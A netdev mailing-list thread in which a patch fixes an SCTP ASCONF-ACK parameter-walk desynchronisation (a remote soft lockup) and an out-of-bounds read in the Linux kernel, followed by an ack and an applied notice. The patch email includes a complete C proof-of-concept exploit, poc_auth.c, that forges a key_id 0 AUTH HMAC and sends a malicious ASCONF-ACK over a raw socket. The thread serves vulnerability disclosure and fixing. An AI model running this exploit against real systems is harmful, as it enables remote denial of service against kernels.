Netdev List
 help / color / mirror / Atom feed
* [PATCH net v3] sctp: fix soft lockup from unpadded ASCONF-ACK parameter iteration
@ 2026-08-28  4:24 Henry Martin
  2026-08-29 21:47 ` Xin Long
  2026-08-30 21:40 ` patchwork-bot+netdevbpf
  0 siblings, 2 replies; 3+ messages in thread
From: Henry Martin @ 2026-08-28  4:24 UTC (permalink / raw)
  To: netdev
  Cc: linux-sctp, Marcelo Ricardo Leitner, Xin Long, David S. Miller,
	Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman,
	Henry Martin

sctp_verify_asconf() walks ASCONF-ACK parameters with
sctp_walk_params(), which advances by SCTP_PAD4(length), while the
consumer sctp_get_asconf_response() iterates the same parameters
advancing by the raw length, without padding. A single odd-length
parameter desynchronises the two walks and makes the consumer
interpret attacker-controlled bytes at a misaligned offset.

When those bytes yield a length of zero, the while loop over
asconf_ack_len makes no progress, spinning forever in softirq
context, and the watchdog reports a soft lockup. All reads stay
within the received skb, so the lockup is a pure remote denial of
service. A remote peer can trigger it with a crafted ASCONF-ACK on
an ADD-IP enabled association with an outstanding ASCONF (RFC 5061
section 4.1.2 requires the chunk to be authenticated, but the
predefined empty key id 0 allows the peer to compute the same
association HMAC from publicly exchanged parameters, so the gate
does not help).

The SCTP_PARAM_ERR_CAUSE case of sctp_verify_asconf() also performs
no length check, letting a parameter without a complete error
header reach the consumer, which reads errhdr.cause past the end of
the parameter, an out-of-bounds read.

Reject SCTP_PARAM_ERR_CAUSE parameters shorter than
sizeof(struct sctp_addip_param) + sizeof(struct sctp_errhdr) at the
verifier, and advance the consumer iterator with the same padding
rule as the verifier to keep the two walks in lockstep. The verifier
change guarantees a complete error header in every ERR_CAUSE
parameter the consumer can see, so the consumer's asconf_ack_len
check is dropped and it returns err_param->cause directly. The
consumer padding fix is still required because odd lengths remain
valid for SCTP_PARAM_ERR_CAUSE per RFC 5061.

The issue was found by ZeroHive, a vulnerability hunting agent at
Tencent Yunding Lab.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Henry Martin <bsdhenrymartin@gmail.com>
---
v3:
- Raise the SCTP_PARAM_ERR_CAUSE length check in sctp_verify_asconf()
  to also cover the embedded error header, and let the consumer rely
  on it (Sashiko, Marcelo Ricardo Leitner).
- Drop the redundant asconf_ack_len check in the SCTP_PARAM_ERR_CAUSE
  case of sctp_get_asconf_response() (Marcelo Ricardo Leitner).

v2:
- Drop the redundant length < sizeof(struct sctp_paramhdr) check in
  sctp_get_asconf_response(); sctp_walk_params() together with the
  param.v != chunk->chunk_end check in sctp_verify_asconf() already
  guarantees it (Xin Long).
- Add length < sizeof(struct sctp_addip_param) check to the
  SCTP_PARAM_ERR_CAUSE case in sctp_verify_asconf(), which also fixes
  the out-of-bounds crr_id read reported by Sashiko.

poc_auth.c:
// SCTP ASCONF-ACK soft-lockup PoC — AUTH-forgery variant (key_id=0 null key)
//
// Goal: prove that even with the HARD default addip_noauth_enable=0, the
// "ASCONF-ACK must be authenticated" gate (sm_statefuns.c:4086) does NOT save
// the victim, because SCTP-AUTH key_id=0 is the predefined empty key and the
// resulting association shared key is derived ONLY from publicly exchanged
// values (both peers' RANDOM/CHUNKS/HMAC_ALGO params, RFC 4895 §6.1).
// An on-path peer computes the same HMAC offline and forges a valid AUTH
// chunk; per inqueue.c, chunk->auth (set by the AUTH chunk in this packet)
// persists for subsequent chunks, so the malicious ASCONF-ACK passes.
//
// Prerequisites (victim):
//   sysctl -w net.sctp.addip_enable=1
//   sysctl -w net.sctp.addip_noauth_enable=0   # default
//   sysctl -w net.sctp.auth_enable=1
//   (kernel with CONFIG_SOFTLOCKUP_DETECTOR=y to see the report)
//
// Guest run: gcc -O2 -o poc_auth poc_auth.c && ./poc_auth   (root, loopback)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>

struct iphdr_local {
	unsigned char ihl_ver, tos;
	unsigned short tot_len, id, frag;
	unsigned char ttl, protocol;
	unsigned short check;
	unsigned int saddr, daddr;
};
#define iphdr iphdr_local
struct sctphdr_local { unsigned short src, dest; unsigned int vtag, check; };
#define sctphdr sctphdr_local

#undef IPPROTO_SCTP
#define IPPROTO_SCTP 132

#define SCTP_PORT_SERVER htons(7777)
#define SCTP_PORT_CLIENT htons(7778)

#define SCTP_CHUNK_INIT 1
#define SCTP_CHUNK_INIT_ACK 2
#define SCTP_CHUNK_COOKIE_ECHO 10
#define SCTP_CHUNK_COOKIE_ACK 11
#define SCTP_CHUNK_AUTH 0x0F
#define SCTP_CHUNK_ASCONF 0xC1
#define SCTP_CHUNK_ASCONF_ACK 0x80

#define SCTP_PARAM_STATE_COOKIE 0x0007
#define SCTP_PARAM_SUPPORTED_EXT 0x8008
#define SCTP_PARAM_RANDOM 0x8002
#define SCTP_PARAM_CHUNKS 0x8003
#define SCTP_PARAM_HMAC_ALGO 0x8004
#define SCTP_HMAC_ID_SHA1 1

#define SCTP_SOCKOPT_BINDX_ADD 100

static int raw_fd;

/* ================= CRC32c (LE on wire, Linux quirk) ================= */
static unsigned int crc32c(const unsigned char *p, size_t n)
{
	static unsigned crc_table[256];
	static int inited = 0;
	if (!inited) {
		for (unsigned i = 0; i < 256; i++) {
			unsigned c = i;
			for (int k = 0; k < 8; k++)
				c = (c & 1) ? (0x82F63B78u ^ (c >> 1)) : (c >> 1);
			crc_table[i] = c;
		}
		inited = 1;
	}
	unsigned c = 0xFFFFFFFFu;
	for (size_t i = 0; i < n; i++)
		c = crc_table[(c ^ p[i]) & 0xFF] ^ (c >> 8);
	return ~c;
}

/* ================= minimal SHA1 + HMAC-SHA1 ================= */
typedef struct { uint32_t h[5]; uint64_t len; uint8_t buf[64]; size_t buflen; } sha1_ctx;

static void sha1_block(sha1_ctx *c, const uint8_t *p)
{
	uint32_t w[80], a, b, cc, d, e;
	for (int i = 0; i < 16; i++)
		w[i] = (p[i*4]<<24) | (p[i*4+1]<<16) | (p[i*4+2]<<8) | p[i*4+3];
	for (int i = 16; i < 80; i++) {
		uint32_t t = w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16];
		w[i] = (t << 1) | (t >> 31);
	}
	a = c->h[0]; b = c->h[1]; cc = c->h[2]; d = c->h[3]; e = c->h[4];
	for (int i = 0; i < 80; i++) {
		uint32_t f, k;
		if (i < 20)      { f = (b & cc) | (~b & d);        k = 0x5A827999; }
		else if (i < 40) { f = b ^ cc ^ d;                 k = 0x6ED9EBA1; }
		else if (i < 60) { f = (b & cc) | (b & d) | (cc & d); k = 0x8F1BBCDC; }
		else             { f = b ^ cc ^ d;                 k = 0xCA62C1D6; }
		uint32_t tmp = ((a << 5) | (a >> 27)) + f + e + k + w[i];
		e = d; d = cc; cc = (b << 30) | (b >> 2); b = a; a = tmp;
	}
	c->h[0] += a; c->h[1] += b; c->h[2] += cc; c->h[3] += d; c->h[4] += e;
}

static void sha1_init(sha1_ctx *c)
{
	c->h[0]=0x67452301; c->h[1]=0xEFCDAB89; c->h[2]=0x98BADCFE;
	c->h[3]=0x10325476; c->h[4]=0xC3D2E1F0; c->len=0; c->buflen=0;
}

static void sha1_update(sha1_ctx *c, const uint8_t *p, size_t n)
{
	c->len += n;
	while (n) {
		size_t take = 64 - c->buflen;
		if (take > n) take = n;
		memcpy(c->buf + c->buflen, p, take);
		c->buflen += take; p += take; n -= take;
		if (c->buflen == 64) { sha1_block(c, c->buf); c->buflen = 0; }
	}
}

static void sha1_final(sha1_ctx *c, uint8_t out[20])
{
	uint64_t bits = c->len * 8;
	uint8_t pad = 0x80;
	sha1_update(c, &pad, 1);
	uint8_t z = 0;
	while (c->buflen != 56) sha1_update(c, &z, 1);
	uint8_t lb[8];
	for (int i = 0; i < 8; i++) lb[i] = (bits >> (56 - 8*i)) & 0xFF;
	sha1_update(c, lb, 8);
	for (int i = 0; i < 5; i++) {
		out[i*4]   = (c->h[i] >> 24) & 0xFF;
		out[i*4+1] = (c->h[i] >> 16) & 0xFF;
		out[i*4+2] = (c->h[i] >> 8) & 0xFF;
		out[i*4+3] = c->h[i] & 0xFF;
	}
}

static void hmac_sha1(const uint8_t *key, size_t klen,
		      const uint8_t *msg, size_t mlen, uint8_t out[20])
{
	uint8_t k[64];
	memset(k, 0, 64);
	if (klen > 64) {
		sha1_ctx t; sha1_init(&t); sha1_update(&t, key, klen);
		sha1_final(&t, k);   /* hashed key is exactly 20 bytes */
	} else {
		memcpy(k, key, klen);
	}
	uint8_t ipad[64], opad[64];
	for (int i = 0; i < 64; i++) { ipad[i] = k[i] ^ 0x36; opad[i] = k[i] ^ 0x5c; }
	uint8_t inner[20];
	sha1_ctx c; sha1_init(&c);
	sha1_update(&c, ipad, 64); sha1_update(&c, msg, mlen);
	sha1_final(&c, inner);
	sha1_init(&c);
	sha1_update(&c, opad, 64); sha1_update(&c, inner, 20);
	sha1_final(&c, out);
}

/* ================= SCTP io ================= */
static int send_sctp(unsigned int src_ip, unsigned int dst_ip,
		     unsigned short src_port, unsigned short dst_port,
		     unsigned int vtag,
		     const unsigned char *chunks, size_t chunks_len)
{
	unsigned char pkt[2048];
	struct sctphdr *sh = (struct sctphdr *)pkt;
	sh->src = src_port;
	sh->dest = dst_port;
	sh->vtag = htonl(vtag);
	sh->check = 0;
	memcpy(pkt + sizeof(*sh), chunks, chunks_len);
	sh->check = crc32c(pkt, sizeof(*sh) + chunks_len);
	struct sockaddr_in d = { .sin_family = AF_INET, .sin_port = dst_port, .sin_addr.s_addr = dst_ip };
	if (sendto(raw_fd, pkt, sizeof(*sh) + chunks_len, 0,
		   (struct sockaddr *)&d, sizeof(d)) < 0) {
		perror("sendto");
		return -1;
	}
	return 0;
}

static int recv_packet(unsigned char *buf, size_t buflen, double timeout_sec)
{
	fd_set fds;
	FD_ZERO(&fds);
	FD_SET(raw_fd, &fds);
	struct timeval tv = { (long)timeout_sec, (long)((timeout_sec - (long)timeout_sec) * 1e6) };
	if (select(raw_fd + 1, &fds, NULL, NULL, &tv) <= 0) return -1;
	return (int)recv(raw_fd, buf, buflen, 0);
}

static int find_chunk(const unsigned char *pkt, ssize_t n, unsigned char want,
		      unsigned char *out, size_t outsz, size_t *outlen)
{
	const unsigned char *sctp = pkt + sizeof(struct iphdr_local);
	const unsigned char *ch = sctp + sizeof(struct sctphdr_local);
	ssize_t rem = n - sizeof(struct iphdr_local) - sizeof(struct sctphdr_local);
	while (rem >= 4) {
		unsigned short clen = ntohs(*(const unsigned short *)(ch + 2));
		if (clen < 4 || clen > rem) return -1;
		if (ch[0] == want) {
			size_t c = clen < outsz ? clen : outsz;
			memcpy(out, ch, c);
			if (outlen) *outlen = clen;
			return 0;
		}
		ch += (clen + 3) & ~3u;
		rem -= (clen + 3) & ~3u;
	}
	return -1;
}

/* ---- captured AUTH params (raw param bytes incl. 4-byte hdr, no padding) ---- */
struct auth_param_set {
	unsigned char random[64]; size_t random_len;
	unsigned char chunks[64]; size_t chunks_len;   /* may be 0 if absent */
	unsigned char hmacs[64];  size_t hmacs_len;
};

static void extract_param(const unsigned char *chunk, size_t clen, int is_initack,
			  struct auth_param_set *ap)
{
	size_t off = is_initack ? 20 : 0; /* skip chunk hdr + init fixed hdr */
	if (!is_initack) return;
	while (off + 4 <= clen) {
		unsigned short pt = ntohs(*(const unsigned short *)(chunk + off));
		unsigned short pl = ntohs(*(const unsigned short *)(chunk + off + 2));
		if (pl < 4 || off + pl > clen) break;
		if (pt == 0x8002 && pl <= sizeof(ap->random)) {
			memcpy(ap->random, chunk + off, pl); ap->random_len = pl;
		} else if (pt == 0x8003 && pl <= sizeof(ap->chunks)) {
			memcpy(ap->chunks, chunk + off, pl); ap->chunks_len = pl;
		} else if (pt == 0x8004 && pl <= sizeof(ap->hmacs)) {
			memcpy(ap->hmacs, chunk + off, pl); ap->hmacs_len = pl;
		}
		off += (pl + 3) & ~3u;
	}
}

/* our fixed INIT params (must mirror build_init exactly, no padding) */
static struct auth_param_set peer_ap;

static size_t build_init(unsigned char *out, unsigned int init_tag, unsigned int tsn)
{
	size_t o = 0;
	out[o++] = SCTP_CHUNK_INIT; out[o++] = 0;
	unsigned short lp = o; o += 2;
	*(unsigned int *)(out + o) = htonl(init_tag); o += 4;
	*(unsigned int *)(out + o) = htonl(65535); o += 4;
	*(unsigned short *)(out + o) = htons(10); o += 2;
	*(unsigned short *)(out + o) = htons(10); o += 2;
	*(unsigned int *)(out + o) = htonl(tsn); o += 4;

	/* RANDOM hdr4+32 */
	size_t ps = o;
	*(unsigned short *)(out + o) = htons(SCTP_PARAM_RANDOM); o += 2;
	*(unsigned short *)(out + o) = htons(4 + 32); o += 2;
	for (int i = 0; i < 32; i++) out[o++] = (unsigned char)(i | 1);
	peer_ap.random_len = 36;
	memcpy(peer_ap.random, out + ps, peer_ap.random_len);

	/* CHUNKS len 5 (one id: DATA), pad to 8 */
	ps = o;
	*(unsigned short *)(out + o) = htons(SCTP_PARAM_CHUNKS); o += 2;
	*(unsigned short *)(out + o) = htons(4 + 1); o += 2;
	out[o++] = 0x00;
	out[o++] = 0; out[o++] = 0; out[o++] = 0;
	peer_ap.chunks_len = 5;
	memcpy(peer_ap.chunks, out + ps, peer_ap.chunks_len);

	/* HMAC_ALGO len 6 (SHA1), pad to 8 */
	ps = o;
	*(unsigned short *)(out + o) = htons(SCTP_PARAM_HMAC_ALGO); o += 2;
	*(unsigned short *)(out + o) = htons(4 + 2); o += 2;
	*(unsigned short *)(out + o) = htons(SCTP_HMAC_ID_SHA1); o += 2;
	out[o++] = 0; out[o++] = 0;
	peer_ap.hmacs_len = 6;
	memcpy(peer_ap.hmacs, out + ps, peer_ap.hmacs_len);

	/* SUPPORTED_EXT: AUTH + ASCONF + ASCONF_ACK, len 7, pad to 8 */
	*(unsigned short *)(out + o) = htons(SCTP_PARAM_SUPPORTED_EXT); o += 2;
	*(unsigned short *)(out + o) = htons(4 + 3); o += 2;
	out[o++] = SCTP_CHUNK_AUTH;
	out[o++] = SCTP_CHUNK_ASCONF;
	out[o++] = SCTP_CHUNK_ASCONF_ACK;
	out[o++] = 0;

	*(unsigned short *)(out + lp) = htons((unsigned short)o);
	return o;
}

/* vector = random || chunks || hmacs (declared lengths only, padding stripped) */
static size_t make_vector(const struct auth_param_set *ap, unsigned char *out)
{
	size_t n = 0;
	memcpy(out + n, ap->random, ap->random_len); n += ap->random_len;
	if (ap->chunks_len) { memcpy(out + n, ap->chunks, ap->chunks_len); n += ap->chunks_len; }
	memcpy(out + n, ap->hmacs, ap->hmacs_len); n += ap->hmacs_len;
	return n;
}

/* kernel's numeric vector compare (auth.c:149) */
static int cmp_vectors(const unsigned char *v1, size_t l1,
		       const unsigned char *v2, size_t l2)
{
	long diff = (long)l1 - (long)l2;
	if (diff) {
		const unsigned char *longer = diff > 0 ? v1 : v2;
		long ad = diff > 0 ? diff : -diff;
		for (long i = 0; i < ad; i++)
			if (longer[i] != 0) return diff > 0 ? 1 : -1;
	}
	size_t m = l1 < l2 ? l1 : l2;
	return memcmp(v1, v2, m);
}

int main(void)
{
	setvbuf(stdout, NULL, _IONBF, 0);
	unsigned int srv = inet_addr("127.0.0.1");

	int sync_pipe[2];
	if (pipe(sync_pipe) < 0) { perror("pipe"); return 1; }
	pid_t vic = fork();
	if (vic == 0) {
		close(sync_pipe[1]);
		int s = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
		if (s < 0) _exit(1);
		struct sockaddr_in a = { .sin_family = AF_INET, .sin_port = SCTP_PORT_SERVER,
					 .sin_addr.s_addr = inet_addr("127.0.0.1") };
		if (bind(s, (struct sockaddr *)&a, sizeof(a)) < 0) _exit(2);
		if (listen(s, 5) < 0) _exit(3);
		char tok;
		if (read(sync_pipe[0], &tok, 1) != 1) _exit(4);
		struct sockaddr_in sin;
		memset(&sin, 0, sizeof(sin));
		sin.sin_family = AF_INET;
		sin.sin_port = SCTP_PORT_SERVER;
		sin.sin_addr.s_addr = inet_addr("127.0.0.2");
		for (int t = 0; t < 5; t++) {
			int r = setsockopt(s, IPPROTO_SCTP, SCTP_SOCKOPT_BINDX_ADD,
					   &sin, sizeof(sin));
			printf("[victim] bindx ADD 127.0.0.2 (try %d) -> %d (%s)\n",
			       t, r, r ? strerror(errno) : "ok");
			if (r == 0) break;
			sleep(1);
		}
		pause();
		_exit(0);
	}
	close(sync_pipe[0]);

	raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP);
	if (raw_fd < 0) { perror("raw socket"); kill(vic, SIGKILL); return 1; }
	struct sockaddr_in rb = { .sin_family = AF_INET, .sin_addr.s_addr = srv };
	bind(raw_fd, (struct sockaddr *)&rb, sizeof(rb));
	sleep(1);

	/* ---- handshake with AUTH capability declared ---- */
	unsigned char buf[2048], initbuf[256];
	size_t initlen = build_init(initbuf, 0x11223344, 0x1000);
	printf("[*] INIT (%zu bytes)\n", initlen);
	send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, 0, initbuf, initlen);

	unsigned int server_tag = 0, my_vtag = 0;
	unsigned char cookie[512]; size_t cookie_len = 0;
	struct auth_param_set local_ap;
	memset(&local_ap, 0, sizeof(local_ap));
	for (int i = 0; i < 10 && !cookie_len; i++) {
		ssize_t n = recv_packet(buf, sizeof(buf), 1.0);
		if (n <= 0) { send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, 0, initbuf, initlen); continue; }
		const unsigned char *sctp = buf + sizeof(struct iphdr_local);
		const unsigned char *ch = sctp + sizeof(struct sctphdr_local);
		ssize_t rem = n - sizeof(struct iphdr_local) - sizeof(struct sctphdr_local);
		while (rem >= 4) {
			unsigned short clen = ntohs(*(const unsigned short *)(ch + 2));
			if (clen < 4 || clen > rem) break;
			if (ch[0] == SCTP_CHUNK_INIT_ACK) {
				server_tag = ntohl(*(const unsigned int *)(ch + 4));
				extract_param(ch, clen, 1, &local_ap);
				const unsigned char *p = ch + 20;
				size_t plen = clen - 20;
				while (plen >= 4) {
					unsigned short pt = ntohs(*(const unsigned short *)p);
					unsigned short pl = ntohs(*(const unsigned short *)(p + 2));
					if (pl < 4 || pl > plen) break;
					if (pt == SCTP_PARAM_STATE_COOKIE) {
						cookie_len = pl - 4;
						if (cookie_len > sizeof(cookie)) cookie_len = sizeof(cookie);
						memcpy(cookie, p + 4, cookie_len);
					}
					p += (pl + 3) & ~3u;
					plen -= (pl + 3) & ~3u;
				}
			}
			ch += (clen + 3) & ~3u;
			rem -= (clen + 3) & ~3u;
		}
	}
	if (!cookie_len) { printf("[-] no INIT-ACK/cookie\n"); kill(vic, SIGKILL); return 1; }
	my_vtag = *(const unsigned int *)(cookie + 36);
	printf("[+] INIT-ACK: server_tag=0x%08x cookie_len=%zu my_vtag=0x%08x\n",
	       server_tag, cookie_len, my_vtag);
	printf("[+] victim AUTH params: random=%zuB chunks=%zuB hmacs=%zuB\n",
	       local_ap.random_len, local_ap.chunks_len, local_ap.hmacs_len);

	/* sanity: victim must advertise SHA1 or we can't forge SHA1 HMAC */
	{
		int sha1_ok = 0;
		for (size_t i = 4; i + 2 <= local_ap.hmacs_len; i += 2)
			if (ntohs(*(unsigned short *)(local_ap.hmacs + i)) == SCTP_HMAC_ID_SHA1) sha1_ok = 1;
		printf("[%c] victim accepts SHA1 HMAC\n", sha1_ok ? '+' : '-');
		if (!sha1_ok) { kill(vic, SIGKILL); return 1; }
	}

	/* COOKIE-ECHO (real cookie) */
	unsigned char ce[600];
	size_t o = 0;
	ce[o++] = SCTP_CHUNK_COOKIE_ECHO; ce[o++] = 0;
	unsigned short lpc = o; o += 2;
	memcpy(ce + o, cookie, cookie_len); o += cookie_len;
	*(unsigned short *)(ce + lpc) = htons((unsigned short)o);
	while (o % 4) ce[o++] = 0;
	send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, my_vtag, ce, o);
	printf("[*] COOKIE-ECHO sent (%zu bytes)\n", o);

	int established = 0;
	for (int i = 0; i < 10 && !established; i++) {
		ssize_t n = recv_packet(buf, sizeof(buf), 1.0);
		if (n <= 0) { send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, my_vtag, ce, o); continue; }
		size_t l;
		if (find_chunk(buf, n, SCTP_CHUNK_COOKIE_ACK, buf, 0, &l) == 0) established = 1;
	}
	printf("[%c] association %s\n", established ? '+' : '-',
	       established ? "ESTABLISHED" : "failed");
	if (!established) { kill(vic, SIGKILL); return 1; }

	if (write(sync_pipe[1], "x", 1) != 1) perror("pipe write");
	close(sync_pipe[1]);

	/* ---- sniff victim ASCONF ---- */
	unsigned int asconf_serial = 0;
	unsigned char ack_chunk[16]; size_t alen = 0;
	printf("[*] waiting for victim ASCONF ...\n");
	for (int i = 0; i < 15 && !asconf_serial; i++) {
		ssize_t n = recv_packet(buf, sizeof(buf), 1.0);
		if (n <= 0) continue;
		size_t l = 0;
		if (find_chunk(buf, n, SCTP_CHUNK_ASCONF, ack_chunk, sizeof(ack_chunk), &alen) == 0) {
			if (alen >= 8)
				asconf_serial = ntohl(*(const unsigned int *)(ack_chunk + 4));
		}
	}
	if (!asconf_serial) { printf("[-] no ASCONF seen\n"); kill(vic, SIGKILL); return 1; }
	printf("[+] ASCONF serial=0x%08x\n", asconf_serial);

	/* ---- build malicious ASCONF-ACK (same as poc.c) ---- */
	unsigned char ack[400];
	size_t a = 0;
	ack[a++] = SCTP_CHUNK_ASCONF_ACK; ack[a++] = 0;
	unsigned short lpa = a; a += 2;
	*(unsigned int *)(ack + a) = htonl(asconf_serial); a += 4;
	size_t pa = a;
	*(unsigned short *)(ack + a) = htons(0xc003); a += 2;   /* ERR_CAUSE len 5 */
	*(unsigned short *)(ack + a) = htons(5); a += 2;
	ack[a++] = 0x41;
	ack[a++] = 0; ack[a++] = 0; ack[a++] = 0;
	*(unsigned short *)(ack + a) = htons(0xc003); a += 2;   /* ERR_CAUSE len 252 */
	*(unsigned short *)(ack + a) = htons(252); a += 2;
	memset(ack + a, 0x42, 252 - 4); a += 252 - 4;
	*(unsigned short *)(ack + pa + 199) = 0x0000;
	*(unsigned int  *)(ack + pa + 201) = htonl(0xffffffff);
	*(unsigned short *)(ack + lpa) = htons((unsigned short)a);
	while (a % 4) ack[a++] = 0;

	/* ---- compute key_id=0 shared secret from PUBLIC vectors ---- */
	unsigned char lv[160], pv[160], secret[320];
	size_t lvn = make_vector(&local_ap, lv);
	size_t pvn = make_vector(&peer_ap, pv);
	size_t sn;
	if (cmp_vectors(lv, lvn, pv, pvn) < 0) {          /* local smaller first */
		memcpy(secret, lv, lvn); memcpy(secret + lvn, pv, pvn);
		sn = lvn + pvn;
	} else {
		memcpy(secret, pv, pvn); memcpy(secret + pvn, lv, lvn);
		sn = pvn + lvn;
	}
	printf("[+] key_id=0 secret: local_vec=%zuB peer_vec=%zuB -> secret=%zuB (all public)\n",
	       lvn, pvn, sn);

	/* ---- AUTH chunk + ASCONF-ACK, HMAC-SHA1 over AUTH..end ---- */
	unsigned char pkt[700];
	size_t q = 0;
	size_t auth_start = q;
	pkt[q++] = SCTP_CHUNK_AUTH; pkt[q++] = 0;
	unsigned short lpq = q; q += 2;
	*(unsigned short *)(pkt + lpq) = htons(28); /* hdr4 + auth_hdr4 + 20B digest */
	*(unsigned short *)(pkt + q) = htons(0 /* key_id 0 */); q += 2;
	*(unsigned short *)(pkt + q) = htons(SCTP_HMAC_ID_SHA1); q += 2;
	q += 20;              /* digest placeholder, zeroed during MAC */
	memcpy(pkt + q, ack, a); q += a;

	memset(pkt + auth_start + 8, 0, 20);
	uint8_t mac[20];
	hmac_sha1(secret, sn, pkt + auth_start, q - auth_start, mac);
	memcpy(pkt + auth_start + 8, mac, 20);
	(void)lpq;

	printf("[*] sending forged AUTH + ASCONF-ACK (%zu bytes, key_id=0)\n", q);
	send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, my_vtag, pkt, q);

	printf("[*] if the forged HMAC passes, victim spins in sctp_get_asconf_response\n");
	printf("[*] wait ~25s, then check dmesg for 'soft lockup'\n");
	sleep(30);
	kill(vic, SIGKILL);
	waitpid(vic, NULL, 0);
	return 0;
}

 net/sctp/sm_make_chunk.c | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c
index 236e25abc7a42..84a4c97d0f755 100644
--- a/net/sctp/sm_make_chunk.c
+++ b/net/sctp/sm_make_chunk.c
@@ -3215,6 +3215,9 @@ bool sctp_verify_asconf(const struct sctp_association *asoc,
 		*errp = param.p;
 		switch (param.p->type) {
 		case SCTP_PARAM_ERR_CAUSE:
+			if (length < sizeof(struct sctp_addip_param) +
+				     sizeof(struct sctp_errhdr))
+				return false;
 			break;
 		case SCTP_PARAM_IPV4_ADDRESS:
 			if (length != sizeof(struct sctp_ipv4addr_param))
@@ -3448,12 +3451,7 @@ static __be16 sctp_get_asconf_response(struct sctp_chunk *asconf_ack,
 			case SCTP_PARAM_ERR_CAUSE:
 				length = sizeof(*asconf_ack_param);
 				err_param = (void *)asconf_ack_param + length;
-				asconf_ack_len -= length;
-				if (asconf_ack_len > 0)
-					return err_param->cause;
-				else
-					return SCTP_ERROR_INV_PARAM;
-				break;
+				return err_param->cause;
 			default:
 				return SCTP_ERROR_INV_PARAM;
 			}
@@ -3460,8 +3458,8 @@ static __be16 sctp_get_asconf_response(struct sctp_chunk *asconf_ack,
 		}
 
 		length = ntohs(asconf_ack_param->param_hdr.length);
-		asconf_ack_param = (void *)asconf_ack_param + length;
-		asconf_ack_len -= length;
+		asconf_ack_param = (void *)asconf_ack_param + SCTP_PAD4(length);
+		asconf_ack_len -= SCTP_PAD4(length);
 	}
 
 	return err_code;
-- 
2.43.0

^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH net v3] sctp: fix soft lockup from unpadded ASCONF-ACK parameter iteration
  2026-08-28  4:24 [PATCH net v3] sctp: fix soft lockup from unpadded ASCONF-ACK parameter iteration Henry Martin
@ 2026-08-29 21:47 ` Xin Long
  2026-08-30 21:40 ` patchwork-bot+netdevbpf
  1 sibling, 0 replies; 3+ messages in thread
From: Xin Long @ 2026-08-29 21:47 UTC (permalink / raw)
  To: Henry Martin
  Cc: netdev, linux-sctp, Marcelo Ricardo Leitner, David S. Miller,
	Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman

On Fri, Aug 28, 2026 at 12:24 AM Henry Martin <bsdhenrymartin@gmail.com> wrote:
>
> sctp_verify_asconf() walks ASCONF-ACK parameters with
> sctp_walk_params(), which advances by SCTP_PAD4(length), while the
> consumer sctp_get_asconf_response() iterates the same parameters
> advancing by the raw length, without padding. A single odd-length
> parameter desynchronises the two walks and makes the consumer
> interpret attacker-controlled bytes at a misaligned offset.
>
> When those bytes yield a length of zero, the while loop over
> asconf_ack_len makes no progress, spinning forever in softirq
> context, and the watchdog reports a soft lockup. All reads stay
> within the received skb, so the lockup is a pure remote denial of
> service. A remote peer can trigger it with a crafted ASCONF-ACK on
> an ADD-IP enabled association with an outstanding ASCONF (RFC 5061
> section 4.1.2 requires the chunk to be authenticated, but the
> predefined empty key id 0 allows the peer to compute the same
> association HMAC from publicly exchanged parameters, so the gate
> does not help).
>
> The SCTP_PARAM_ERR_CAUSE case of sctp_verify_asconf() also performs
> no length check, letting a parameter without a complete error
> header reach the consumer, which reads errhdr.cause past the end of
> the parameter, an out-of-bounds read.
>
> Reject SCTP_PARAM_ERR_CAUSE parameters shorter than
> sizeof(struct sctp_addip_param) + sizeof(struct sctp_errhdr) at the
> verifier, and advance the consumer iterator with the same padding
> rule as the verifier to keep the two walks in lockstep. The verifier
> change guarantees a complete error header in every ERR_CAUSE
> parameter the consumer can see, so the consumer's asconf_ack_len
> check is dropped and it returns err_param->cause directly. The
> consumer padding fix is still required because odd lengths remain
> valid for SCTP_PARAM_ERR_CAUSE per RFC 5061.
>
> The issue was found by ZeroHive, a vulnerability hunting agent at
> Tencent Yunding Lab.
>
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Signed-off-by: Henry Martin <bsdhenrymartin@gmail.com>

Acked-by: Xin Long <lucien.xin@gmail.com>

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: [PATCH net v3] sctp: fix soft lockup from unpadded ASCONF-ACK parameter iteration
  2026-08-28  4:24 [PATCH net v3] sctp: fix soft lockup from unpadded ASCONF-ACK parameter iteration Henry Martin
  2026-08-29 21:47 ` Xin Long
@ 2026-08-30 21:40 ` patchwork-bot+netdevbpf
  1 sibling, 0 replies; 3+ messages in thread
From: patchwork-bot+netdevbpf @ 2026-08-30 21:40 UTC (permalink / raw)
  To: Henry Martin
  Cc: netdev, linux-sctp, marcelo.leitner, lucien.xin, davem, edumazet,
	kuba, pabeni, horms

Hello:

This patch was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:

On Fri, 28 Aug 2026 12:24:25 +0800 you wrote:
> sctp_verify_asconf() walks ASCONF-ACK parameters with
> sctp_walk_params(), which advances by SCTP_PAD4(length), while the
> consumer sctp_get_asconf_response() iterates the same parameters
> advancing by the raw length, without padding. A single odd-length
> parameter desynchronises the two walks and makes the consumer
> interpret attacker-controlled bytes at a misaligned offset.
> 
> [...]

Here is the summary with links:
  - [net,v3] sctp: fix soft lockup from unpadded ASCONF-ACK parameter iteration
    https://git.kernel.org/netdev/net/c/2cb0b0b1ed69

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



